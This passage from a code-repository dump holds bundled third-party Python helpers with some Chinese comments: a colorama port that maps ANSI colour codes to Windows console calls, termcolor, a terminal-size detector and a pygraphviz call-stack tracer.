92 | 如果确实需要该类,则为真。如果为false,那么输出流将不会受到影响,也不会发
93 | 出win32调用,因此不需要包装stdout。这在非windows平台上通常是错误的,除非
94 | 已经使用kwargs来init()请求了诸如autoreset这样的可选功能
95 | '''
96 | return self.convert or self.strip or self.autoreset
97 |
98 |
99 | def get_win32_calls(self):
100 | if self.convert and winterm:
101 | return {
102 | AnsiStyle.RESET_ALL: (winterm.reset_all, ),
103 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT),
104 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL),
105 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL),
106 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK),
107 | AnsiFore.RED: (winterm.fore, WinColor.RED),
108 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN),
109 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW),
110 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE),
111 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA),
112 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN),
113 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY),
114 | AnsiFore.RESET: (winterm.fore, ),
115 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK),
116 | AnsiBack.RED: (winterm.back, WinColor.RED),
117 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN),
118 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW),
119 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE),
120 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA),
121 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN),
122 | AnsiBack.WHITE: (winterm.back, WinColor.GREY),
123 | AnsiBack.RESET: (winterm.back, ),
124 | }
125 |
126 |
127 | def write(self, text):
128 | if self.strip or self.convert:
129 | self.write_and_convert(text)
130 | else:
131 | self.wrapped.write(text)
132 | self.wrapped.flush()
133 | if self.autoreset:
134 | self.reset_all()
135 |
136 |
137 | def reset_all(self):
138 | if self.convert:
139 | self.call_win32('m', (0,))
140 | elif is_a_tty(self.wrapped):
141 | self.wrapped.write(Style.RESET_ALL)
142 |
143 |
144 | def write_and_convert(self, text):
145 | '''
146 | Write the given text to our wrapped stream, stripping any ANSI
147 | sequences from the text, and optionally converting them into win32
148 | calls.
149 | 将给定的文本写入我们包装的流中,从文本中去除任何ANSI序列,并有选择地将
150 | 它们转换为win32调用。
151 | '''
152 | cursor = 0
153 | for match in self.ANSI_RE.finditer(text):
154 | start, end = match.span()
155 | self.write_plain_text(text, cursor, start)
156 | self.convert_ansi(*match.groups())
157 | cursor = end
158 | self.write_plain_text(text, cursor, len(text))
159 |
160 |
161 | def write_plain_text(self, text, start, end): #将给定的文本(text)写入(write)我们包装的流(wrapped)中
162 | if start < end:
163 | self.wrapped.write(text[start:end])
164 | self.wrapped.flush()
165 |
166 |
167 | def convert_ansi(self, paramstring, command):
168 | if self.convert:
169 | params = self.extract_params(paramstring)
170 | self.call_win32(command, params)
171 |
172 |
173 | def extract_params(self, paramstring): # 从ANSI序列中提取参数值
174 | def split(paramstring):
175 | for p in paramstring.split(';'):
176 | if p != '':
177 | yield int(p)
178 | return tuple(split(paramstring))
179 |
180 |
181 | def call_win32(self, command, params): # 根据ANSI序列参数值中,选择地将它们转换为win32调用
182 | if params == []:
183 | params = [0]
184 | if command == 'm':
185 | for param in params:
186 | if param in self.win32_calls:
187 | func_args = self.win32_calls[param]
188 | func = func_args[0]
189 | args = func_args[1:]
190 | kwargs = dict(on_stderr=self.on_stderr)
191 | func(*args, **kwargs)
192 | elif command in ('H', 'f'): # set cursor position
193 | func = winterm.set_cursor_position
194 | func(params, on_stderr=self.on_stderr)
195 | elif command in ('J'):
196 | func = winterm.erase_data
197 | func(params, on_stderr=self.on_stderr)
198 | elif command == 'A':
199 | if params == () or params == None:
200 | num_rows = 1
201 | else:
202 | num_rows = params[0]
203 | func = winterm.cursor_up
204 | func(num_rows, on_stderr=self.on_stderr)
205 |
206 |
--------------------------------------------------------------------------------
/thirdparty/colorama/initialise.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import atexit
3 | import sys
4 | from .ansitowin32 import AnsiToWin32
5 |
6 |
7 | orig_stdout = sys.stdout
8 | orig_stderr = sys.stderr
9 |
10 | wrapped_stdout = sys.stdout
11 | wrapped_stderr = sys.stderr
12 |
13 | atexit_done = False
14 |
15 |
16 | def reset_all():
17 | AnsiToWin32(orig_stdout).reset_all()
18 |
19 |
20 | def init(autoreset=False, convert=None, strip=None, wrap=True):
21 |
22 | if not wrap and any([autoreset, convert, strip]):
23 | raise ValueError('wrap=False conflicts with any other arg=True')
24 |
25 | global wrapped_stdout, wrapped_stderr
26 | sys.stdout = wrapped_stdout = \
27 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap)
28 | sys.stderr = wrapped_stderr = \
29 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap)
30 |
31 | global atexit_done
32 | if not atexit_done:
33 | atexit.register(reset_all)
34 | atexit_done = True
35 |
36 |
37 | def deinit():
38 | sys.stdout = orig_stdout
39 | sys.stderr = orig_stderr
40 |
41 |
42 | def reinit():
43 | sys.stdout = wrapped_stdout
44 | sys.stderr = wrapped_stdout
45 |
46 |
47 | def wrap_stream(stream, convert, strip, autoreset, wrap):
48 | if wrap:
49 | wrapper = AnsiToWin32(stream,
50 | convert=convert, strip=strip, autoreset=autoreset)
51 | if wrapper.should_wrap():
52 | stream = wrapper.stream
53 | return stream
--------------------------------------------------------------------------------
/thirdparty/colorama/win32.py:
--------------------------------------------------------------------------------
1 |
2 | # from winbase.h
3 | STDOUT = -11
4 | STDERR = -12
5 |
6 | try:
7 | from ctypes import windll
8 | except ImportError:
9 | windll = None
10 | SetConsoleTextAttribute = lambda *_: None
11 | else:
12 | from ctypes import (
13 | byref, Structure, c_char, c_short, c_uint32, c_ushort
14 | )
15 |
16 | handles = {
17 | STDOUT: windll.kernel32.GetStdHandle(STDOUT),
18 | STDERR: windll.kernel32.GetStdHandle(STDERR),
19 | }
20 |
21 | SHORT = c_short
22 | WORD = c_ushort
23 | DWORD = c_uint32
24 | TCHAR = c_char
25 |
26 | class COORD(Structure):
27 | """struct in wincon.h"""
28 | _fields_ = [
29 | ('X', SHORT),
30 | ('Y', SHORT),
31 | ]
32 |
33 | class SMALL_RECT(Structure):
34 | """struct in wincon.h."""
35 | _fields_ = [
36 | ("Left", SHORT),
37 | ("Top", SHORT),
38 | ("Right", SHORT),
39 | ("Bottom", SHORT),
40 | ]
41 |
42 | class CONSOLE_SCREEN_BUFFER_INFO(Structure):
43 | """struct in wincon.h."""
44 | _fields_ = [
45 | ("dwSize", COORD),
46 | ("dwCursorPosition", COORD),
47 | ("wAttributes", WORD),
48 | ("srWindow", SMALL_RECT),
49 | ("dwMaximumWindowSize", COORD),
50 | ]
51 | def __str__(self):
52 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % (
53 | self.dwSize.Y, self.dwSize.X
54 | , self.dwCursorPosition.Y, self.dwCursorPosition.X
55 | , self.wAttributes
56 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right
57 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X
58 | )
59 |
60 | def GetConsoleScreenBufferInfo(stream_id=STDOUT):
61 | handle = handles[stream_id]
62 | csbi = CONSOLE_SCREEN_BUFFER_INFO()
63 | success = windll.kernel32.GetConsoleScreenBufferInfo(
64 | handle, byref(csbi))
65 | return csbi
66 |
67 |
68 | def SetConsoleTextAttribute(stream_id, attrs):
69 | handle = handles[stream_id]
70 | return windll.kernel32.SetConsoleTextAttribute(handle, attrs)
71 |
72 |
73 | def SetConsoleCursorPosition(stream_id, position):
74 | position = COORD(*position)
75 | # If the position is out of range, do nothing.
76 | if position.Y <= 0 or position.X <= 0:
77 | return
78 | # Adjust for Windows' SetConsoleCursorPosition:
79 | # 1. being 0-based, while ANSI is 1-based.
80 | # 2. expecting (x,y), while ANSI uses (y,x).
81 | adjusted_position = COORD(position.Y - 1, position.X - 1)
82 | # Adjust for viewport's scroll position
83 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow
84 | adjusted_position.Y += sr.Top
85 | adjusted_position.X += sr.Left
86 | # Resume normal processing
87 | handle = handles[stream_id]
88 | return windll.kernel32.SetConsoleCursorPosition(handle, adjusted_position)
89 |
90 | def FillConsoleOutputCharacter(stream_id, char, length, start):
91 | handle = handles[stream_id]
92 | char = TCHAR(char)
93 | length = DWORD(length)
94 | num_written = DWORD(0)
95 | # Note that this is hard-coded for ANSI (vs wide) bytes.
96 | success = windll.kernel32.FillConsoleOutputCharacterA(
97 | handle, char, length, start, byref(num_written))
98 | return num_written.value
99 |
100 | def FillConsoleOutputAttribute(stream_id, attr, length, start):
101 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )'''
102 | handle = handles[stream_id]
103 | attribute = WORD(attr)
104 | length = DWORD(length)
105 | num_written = DWORD(0)
106 | # Note that this is hard-coded for ANSI (vs wide) bytes.
107 | return windll.kernel32.FillConsoleOutputAttribute(
108 | handle, attribute, length, start, byref(num_written))
109 |
110 |
--------------------------------------------------------------------------------
/thirdparty/colorama/winterm.py:
--------------------------------------------------------------------------------
1 |
2 | from . import win32
3 |
4 |
5 | # from wincon.h
6 | class WinColor(object):
7 | BLACK = 0
8 | BLUE = 1
9 | GREEN = 2
10 | CYAN = 3
11 | RED = 4
12 | MAGENTA = 5
13 | YELLOW = 6
14 | GREY = 7
15 |
16 | # from wincon.h
17 | class WinStyle(object):
18 | NORMAL = 0x00 # dim text, dim background
19 | BRIGHT = 0x08 # bright text, dim background
20 |
21 |
22 | class WinTerm(object):
23 |
24 | def __init__(self):
25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes
26 | self.set_attrs(self._default)
27 | self._default_fore = self._fore
28 | self._default_back = self._back
29 | self._default_style = self._style
30 |
31 | def get_attrs(self):
32 | return self._fore + self._back * 16 + self._style
33 |
34 | def set_attrs(self, value):
35 | self._fore = value & 7
36 | self._back = (value >> 4) & 7
37 | self._style = value & WinStyle.BRIGHT
38 |
39 | def reset_all(self, on_stderr=None):
40 | self.set_attrs(self._default)
41 | self.set_console(attrs=self._default)
42 |
43 | def fore(self, fore=None, on_stderr=False):
44 | if fore is None:
45 | fore = self._default_fore
46 | self._fore = fore
47 | self.set_console(on_stderr=on_stderr)
48 |
49 | def back(self, back=None, on_stderr=False):
50 | if back is None:
51 | back = self._default_back
52 | self._back = back
53 | self.set_console(on_stderr=on_stderr)
54 |
55 | def style(self, style=None, on_stderr=False):
56 | if style is None:
57 | style = self._default_style
58 | self._style = style
59 | self.set_console(on_stderr=on_stderr)
60 |
61 | def set_console(self, attrs=None, on_stderr=False):
62 | if attrs is None:
63 | attrs = self.get_attrs()
64 | handle = win32.STDOUT
65 | if on_stderr:
66 | handle = win32.STDERR
67 | win32.SetConsoleTextAttribute(handle, attrs)
68 |
69 | def get_position(self, handle):
70 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition
71 | # Because Windows coordinates are 0-based,
72 | # and win32.SetConsoleCursorPosition expects 1-based.
73 | position.X += 1
74 | position.Y += 1
75 | return position
76 |
77 | def set_cursor_position(self, position=None, on_stderr=False):
78 | if position is None:
79 | #I'm not currently tracking the position, so there is no default.
80 | #position = self.get_position()
81 | return
82 | handle = win32.STDOUT
83 | if on_stderr:
84 | handle = win32.STDERR
85 | win32.SetConsoleCursorPosition(handle, position)
86 |
87 | def cursor_up(self, num_rows=0, on_stderr=False):
88 | if num_rows == 0:
89 | return
90 | handle = win32.STDOUT
91 | if on_stderr:
92 | handle = win32.STDERR
93 | position = self.get_position(handle)
94 | adjusted_position = (position.Y - num_rows, position.X)
95 | self.set_cursor_position(adjusted_position, on_stderr)
96 |
97 | def erase_data(self, mode=0, on_stderr=False):
98 | # 0 (or None) should clear from the cursor to the end of the screen.
99 | # 1 should clear from the cursor to the beginning of the screen.
100 | # 2 should clear the entire screen. (And maybe move cursor to (1,1)?)
101 | #
102 | # At the moment, I only support mode 2. From looking at the API, it
103 | # should be possible to calculate a different number of bytes to clear,
104 | # and to do so relative to the cursor position.
105 | if mode[0] not in (2,):
106 | return
107 | handle = win32.STDOUT
108 | if on_stderr:
109 | handle = win32.STDERR
110 | # here's where we'll home the cursor
111 | coord_screen = win32.COORD(0,0)
112 | csbi = win32.GetConsoleScreenBufferInfo(handle)
113 | # get the number of character cells in the current buffer
114 | dw_con_size = csbi.dwSize.X * csbi.dwSize.Y
115 | # fill the entire screen with blanks
116 | win32.FillConsoleOutputCharacter(handle, ord(' '), dw_con_size, coord_screen)
117 | # now set the buffer's attributes accordingly
118 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), dw_con_size, coord_screen );
119 | # put the cursor at (0, 0)
120 | win32.SetConsoleCursorPosition(handle, (coord_screen.X, coord_screen.Y))
121 |
--------------------------------------------------------------------------------
/thirdparty/termcolor.py:
--------------------------------------------------------------------------------
1 | # coding: utf-8
2 | # Copyright (c) 2008-2011 Volvox Development Team
3 | #
4 | # Permission is hereby granted, free of charge, to any person obtaining a copy
5 | # of this software and associated documentation files (the "Software"), to deal
6 | # in the Software without restriction, including without limitation the rights
7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 | # copies of the Software, and to permit persons to whom the Software is
9 | # furnished to do so, subject to the following conditions:
10 | #
11 | # The above copyright notice and this permission notice shall be included in
12 | # all copies or substantial portions of the Software.
13 | #
14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
20 | # THE SOFTWARE.
21 | #
22 | # Author: Konstantin Lepa
23 |
24 | """ANSII Color formatting for output in terminal."""
25 |
26 | from __future__ import print_function
27 | import os
28 |
29 |
30 | __ALL__ = [ 'colored', 'cprint' ]
31 |
32 | VERSION = (1, 1, 0)
33 |
34 | ATTRIBUTES = dict(
35 | list(zip([
36 | 'bold',
37 | 'dark',
38 | '',
39 | 'underline',
40 | 'blink',
41 | '',
42 | 'reverse',
43 | 'concealed'
44 | ],
45 | list(range(1, 9))
46 | ))
47 | )
48 | del ATTRIBUTES['']
49 |
50 |
51 | HIGHLIGHTS = dict(
52 | list(zip([
53 | 'on_grey',
54 | 'on_red',
55 | 'on_green',
56 | 'on_yellow',
57 | 'on_blue',
58 | 'on_magenta',
59 | 'on_cyan',
60 | 'on_white'
61 | ],
62 | list(range(40, 48))
63 | ))
64 | )
65 |
66 |
67 | COLORS = dict(
68 | list(zip([
69 | 'grey',
70 | 'red',
71 | 'green',
72 | 'yellow',
73 | 'blue',
74 | 'magenta',
75 | 'cyan',
76 | 'white',
77 | ],
78 | list(range(30, 38))
79 | ))
80 | )
81 |
82 |
83 | RESET = '\033[0m'
84 |
85 |
86 | def colored(text, color=None, on_color=None, attrs=None):
87 | """Colorize text.
88 |
89 | Available text colors:
90 | red, green, yellow, blue, magenta, cyan, white.
91 |
92 | Available text highlights:
93 | on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white.
94 |
95 | Available attributes:
96 | bold, dark, underline, blink, reverse, concealed.
97 | 粗体 bold
98 | 深色 dark
99 | 斜体 italic
100 | 下划线 underline
101 | 闪烁 blink
102 | 翻转 reverse
103 | 隐藏 concealed
104 | 删除线 crossed
105 |
106 | Example:
107 | colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink'])
108 | colored('Hello, World!', 'green')
109 | """
110 | if os.getenv('ANSI_COLORS_DISABLED') is None:
111 | fmt_str = '\033[%dm%s'
112 | if color is not None:
113 | text = fmt_str % (COLORS[color], text)
114 |
115 | if on_color is not None:
116 | text = fmt_str % (HIGHLIGHTS[on_color], text)
117 |
118 | if attrs is not None:
119 | for attr in attrs:
120 | text = fmt_str % (ATTRIBUTES[attr], text)
121 |
122 | text += RESET
123 | return text
124 |
125 |
126 | def cprint(text, color=None, on_color=None, attrs=None, **kwargs):
127 | """Print colorize text.
128 |
129 | It accepts arguments of print function.
130 | """
131 |
132 | print((colored(text, color, on_color, attrs)), **kwargs)
133 |
134 |
135 | def debug():
136 | print('Current terminal type: %s' % os.getenv('TERM'))
137 | print('Test basic colors:')
138 | cprint('Grey color', 'grey')
139 | cprint('Red color', 'red')
140 | cprint('Green color', 'green')
141 | cprint('Yellow color', 'yellow')
142 | cprint('Blue color', 'blue')
143 | cprint('Magenta color', 'magenta')
144 | cprint('Cyan color', 'cyan')
145 | cprint('White color', 'white')
146 | print(('-' * 78))
147 |
148 | print('Test highlights:')
149 | cprint('On grey color', on_color='on_grey')
150 | cprint('On red color', on_color='on_red')
151 | cprint('On green color', on_color='on_green')
152 | cprint('On yellow color', on_color='on_yellow')
153 | cprint('On blue color', on_color='on_blue')
154 | cprint('On magenta color', on_color='on_magenta')
155 | cprint('On cyan color', on_color='on_cyan')
156 | cprint('On white color', color='grey', on_color='on_white')
157 | print('-' * 78)
158 |
159 | print('Test attributes:')
160 | cprint('Bold grey color', 'grey', attrs=['bold'])
161 | cprint('Dark red color', 'red', attrs=['dark'])
162 | cprint('Underline green color', 'green', attrs=['underline'])
163 | cprint('Blink yellow color', 'yellow', attrs=['blink'])
164 | cprint('Reversed blue color', 'blue', attrs=['reverse'])
165 | cprint('Concealed Magenta color', 'magenta', attrs=['concealed'])
166 | cprint('Bold underline reverse cyan color', 'cyan',
167 | attrs=['bold', 'underline', 'reverse'])
168 | cprint('Dark blink concealed white color', 'white',
169 | attrs=['dark', 'blink', 'concealed'])
170 | print(('-' * 78))
171 |
172 | print('Test mixing:')
173 | cprint('Underline red on grey color', 'red', 'on_grey',
174 | ['underline'])
175 | cprint('Reversed green on red color', 'green', 'on_red', ['reverse'])
176 |
177 |
178 |
179 | if __name__ == '__main__':
180 | debug()
--------------------------------------------------------------------------------
/thirdparty/terminal.py:
--------------------------------------------------------------------------------
1 | #coding:utf-8
2 | """
3 | get_terminal_size() -- return width and height of terminal as a tuple
4 |
5 | code from:
6 | http://stackoverflow.com/questions/566746/how-to-get-console- window-width-in-
7 | python
8 |
9 | written by
10 | Harco Kuppens (http://stackoverflow.com/users/825214/harco-kuppens)
11 |
12 | It is mentioned in the stackoverflow response that this code works
13 | on linux, os x, windows and cygwin (windows).
14 |
15 | PS:
16 | 从pandos库中找到的,删除了原来的一些不需要的代码。
17 |
18 | """
19 | from __future__ import print_function
20 |
21 | import os
22 | import sys
23 | import shutil
24 | import subprocess
25 |
26 | PY3= True if sys.version[0]=='3' else False
27 |
28 | __all__ = ['get_terminal_size']
29 |
30 |
31 | # 检测终端大小并返回元组(宽度,高度)
32 | def get_terminal_size():
33 | """
34 | Detect terminal size and return tuple = (width, height).
35 |
36 | Only to be used when running in a terminal. Note that the IPython notebook,
37 | IPython zmq frontends, or IDLE do not run in a terminal,
38 | """
39 | import platform
40 |
41 | if PY3:
42 | return shutil.get_terminal_size()
43 |
44 | current_os = platform.system()
45 | tuple_xy = None
46 | if current_os == 'Windows':
47 | tuple_xy = _get_terminal_size_windows()
48 | if tuple_xy is None:
49 | tuple_xy = _get_terminal_size_tput()
50 | # needed for window's python in cygwin's xterm!
51 | if (current_os == 'Linux' or current_os == 'Darwin' or
52 | current_os.startswith('CYGWIN')):
53 | tuple_xy = _get_terminal_size_linux()
54 | if tuple_xy is None:
55 | tuple_xy = (80, 25) # default value
56 | return tuple_xy
57 |
58 |
59 | def _get_terminal_size_windows():
60 |
61 | try:
62 | from ctypes import windll, create_string_buffer
63 |
64 | # stdin handle is -10
65 | # stdout handle is -11
66 | # stderr handle is -12
67 |
68 | h = windll.kernel32.GetStdHandle(-12)
69 | csbi = create_string_buffer(22)
70 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
71 | except (AttributeError, ValueError):
72 | return None
73 | if res:
74 | import struct
75 | (bufx, bufy, curx, cury, wattr, left, top, right, bottom, maxx,
76 | maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
77 | sizex = right - left + 1
78 | sizey = bottom - top + 1
79 | return sizex, sizey
80 | else:
81 | return None
82 |
83 |
84 | def _get_terminal_size_tput():
85 | # get terminal width
86 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width
87 | # -height-of-a-terminal-window
88 |
89 | try:
90 | proc = subprocess.Popen(["tput", "cols"],
91 | stdin=subprocess.PIPE,
92 | stdout=subprocess.PIPE)
93 | output_cols = proc.communicate(input=None)
94 | proc = subprocess.Popen(["tput", "lines"],
95 | stdin=subprocess.PIPE,
96 | stdout=subprocess.PIPE)
97 | output_rows = proc.communicate(input=None)
98 | except OSError:
99 | return None
100 |
101 | try:
102 | # Some terminals (e.g. spyder) may report a terminal size of '',
103 | # making the `int` fail.
104 |
105 | cols = int(output_cols[0])
106 | rows = int(output_rows[0])
107 | return cols, rows
108 | except (ValueError, IndexError):
109 | return None
110 |
111 |
112 | def _get_terminal_size_linux():
113 | def ioctl_GWINSZ(fd):
114 | try:
115 | import fcntl
116 | import termios
117 | import struct
118 | cr = struct.unpack(
119 | 'hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234'))
120 | except (struct.error, IOError):
121 | return None
122 | return cr
123 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
124 | if not cr:
125 | try:
126 | fd = os.open(os.ctermid(), os.O_RDONLY)
127 | cr = ioctl_GWINSZ(fd)
128 | os.close(fd)
129 | except OSError:
130 | pass
131 | if not cr or cr == (0, 0):
132 | try:
133 | from os import environ as env
134 | cr = (env['LINES'], env['COLUMNS'])
135 | except (ValueError, KeyError):
136 | return None
137 | return int(cr[1]), int(cr[0])
138 |
139 |
140 | if __name__ == "__main__":
141 | sizex, sizey = get_terminal_size()
142 | print('width = {w} height = {h}'.format(w=sizex, h=sizey))
143 |
--------------------------------------------------------------------------------
/thirdparty/utils.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 |
3 | # 跟踪函数调用,生成函数调用流程图
4 | # 代码来源:https://www.zhihu.com/question/26766601/answer/33952627
5 | def traceFunc(frame=None, slient=False):
6 | import sys
7 | import tempfile
8 | import webbrowser
9 | try:
10 | import pygraphviz as pgv
11 | except Exception as e:
12 | return 0
13 |
14 | if not frame:
15 | frame = sys._getframe().f_back
16 |
17 | G = pgv.AGraph(strict=False, directed=True)
18 |
19 | stack = []
20 |
21 | node_set = set()
22 | subgraph_set = {}
23 |
24 | while frame:
25 | filename = frame.f_code.co_filename.replace("\\","/").decode("gbk")
26 | # print(type(filename))
27 | # print(filename)
28 | firstlineno = frame.f_code.co_firstlineno
29 | function = frame.f_code.co_name.replace("\\","/").decode("gbk")
30 |
31 | node = u'{0}:{1}:{2}'.format(filename, firstlineno, function)
32 | if node not in node_set:
33 | node_set.add(node)
34 | if filename not in subgraph_set:
35 | subgraph_set[filename] = G.add_subgraph(
36 | name='cluster' + filename,
37 | label=filename
38 | )
39 | subgraph = subgraph_set[filename]
40 | subgraph.add_node(
41 | node,
42 | label=u'{0}:{1}'.format(firstlineno, function)
43 | )
44 |
45 | stack.append(frame)
46 | frame = frame.f_back
47 |
48 | stack.reverse()
49 |
50 | len_stack = len(stack)
51 |
52 | for index, start in enumerate(stack):
53 |
54 | if index + 1 < len_stack:
55 | start_filename = start.f_code.co_filename.replace("\\","/").decode("gbk")
56 | start_firstlineno = start.f_code.co_firstlineno
57 | start_function = start.f_code.co_name
58 | start_lineno = start.f_lineno
59 | start_subgraph = subgraph_set[start_filename]
60 |
61 | end = stack[index + 1]
62 | end_filename = end.f_code.co_filename.replace("\\","/").decode("gbk")
63 | end_firstlineno = end.f_code.co_firstlineno
64 | end_function = end.f_code.co_name
65 | end_subgraph = subgraph_set[end_filename]
66 |
67 | if index == 0:
68 | color = 'green'
69 | elif index == len_stack - 2:
70 | color = 'red'
71 | else:
72 | color = 'black'
73 |
74 | G.add_edge(
75 | u'{0}:{1}:{2}'.format(start_filename,
76 | start_firstlineno,
77 | start_function),
78 | u'{0}:{1}:{2}'.format(end_filename,
79 | end_firstlineno,
80 | end_function),
81 | color=color,
82 | ltail=start_subgraph.name,
83 | lhead=end_subgraph.name,
84 | label=u'#{0} at {1}'.format(index + 1, start_lineno)
85 | )
86 |
87 | fd, name = tempfile.mkstemp('.png')
88 |
89 | G.draw(name, prog='dot')
90 | G.close()
91 |
92 | if not slient:
93 | webbrowser.open('file://' + name)
94 |
95 | return name
--------------------------------------------------------------------------------